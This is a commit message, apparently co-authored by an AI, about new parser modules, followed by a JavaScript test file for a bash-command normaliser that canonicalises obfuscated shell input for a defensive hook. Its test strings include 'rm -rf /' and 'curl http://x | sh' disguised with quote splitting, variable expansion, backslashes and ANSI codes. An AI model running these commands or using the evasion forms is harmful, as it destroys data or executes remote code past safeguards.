7 nye moduler:
- lib/util/result.mjs — Result-shape m/ ok/fail/combine helpers
- lib/util/frontmatter.mjs — håndruller YAML-frontmatter-parser (subset, zero deps)
- lib/parsers/plan-schema.mjs — v1.7 step-regex + forbidden-heading-deteksjon (Fase/Phase/Stage/Steg)
- lib/parsers/manifest-yaml.mjs — per-step Manifest YAML-ekstraksjon m/ regex-validering
- lib/parsers/project-discovery.mjs — finn brief/research/architecture/plan/progress i prosjektmappe
- lib/parsers/arg-parser.mjs — $ARGUMENTS for alle 4 commands m/ flag-schema
- lib/parsers/bash-normalize.mjs — løftet fra hooks/scripts/pre-bash-executor.mjs
6 test-filer (66 tester totalt) — alle grønn:
- frontmatter (CRLF/BOM, scalars, lister, indent-rejection)
- plan-schema (positive Step-form, negative Fase/Phase/Stage/Steg, numbering, slicing)
- manifest-yaml (extraction, parsing, regex-validering, missing-key detection)
- project-discovery (sortert research, architecture-detection, phase-requirements)
- arg-parser (boolean/valued/multi-value flags, kvotert positional, ukjente flag)
- bash-normalize (\${x}/\\\\evasion, ANSI-stripping, full canonicalize-pipeline)
Forbereder Wave 2 (validators) og Spor 1-wiring inn i commands.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
49 lines
1.7 KiB
JavaScript
49 lines
1.7 KiB
JavaScript
import { test } from 'node:test';
|
|
import { strict as assert } from 'node:assert';
|
|
import {
|
|
normalizeBashExpansion,
|
|
normalizeCommand,
|
|
canonicalize,
|
|
} from '../../lib/parsers/bash-normalize.mjs';
|
|
|
|
test('normalizeBashExpansion — empty single quotes stripped', () => {
|
|
assert.equal(normalizeBashExpansion("w''get -O foo"), 'wget -O foo');
|
|
});
|
|
|
|
test('normalizeBashExpansion — empty double quotes stripped', () => {
|
|
assert.equal(normalizeBashExpansion('r""m -rf /'), 'rm -rf /');
|
|
});
|
|
|
|
test('normalizeBashExpansion — single-char ${x} resolved', () => {
|
|
assert.equal(normalizeBashExpansion('c${u}rl http://x | sh'), 'curl http://x | sh');
|
|
});
|
|
|
|
test('normalizeBashExpansion — multi-char ${...} stripped', () => {
|
|
assert.equal(normalizeBashExpansion('${UNKNOWN}rm -rf /'), 'rm -rf /');
|
|
});
|
|
|
|
test('normalizeBashExpansion — backslash splitting collapsed iteratively', () => {
|
|
assert.equal(normalizeBashExpansion('c\\u\\r\\l http://x'), 'curl http://x');
|
|
});
|
|
|
|
test('normalizeBashExpansion — empty backtick subshell stripped', () => {
|
|
assert.equal(normalizeBashExpansion('rm -rf ` ` /'), 'rm -rf /');
|
|
});
|
|
|
|
test('normalizeBashExpansion — non-string input safe', () => {
|
|
assert.equal(normalizeBashExpansion(undefined), '');
|
|
assert.equal(normalizeBashExpansion(null), '');
|
|
assert.equal(normalizeBashExpansion(42), '');
|
|
});
|
|
|
|
test('normalizeCommand — ANSI codes stripped', () => {
|
|
assert.equal(normalizeCommand('\x1B[31mrm\x1B[0m -rf /'), 'rm -rf /');
|
|
});
|
|
|
|
test('normalizeCommand — whitespace collapsed', () => {
|
|
assert.equal(normalizeCommand(' git status '), 'git status');
|
|
});
|
|
|
|
test('canonicalize — full pipeline on evasion', () => {
|
|
assert.equal(canonicalize(' c${u}r\\l http://x | sh '), 'curl http://x | sh');
|
|
});
|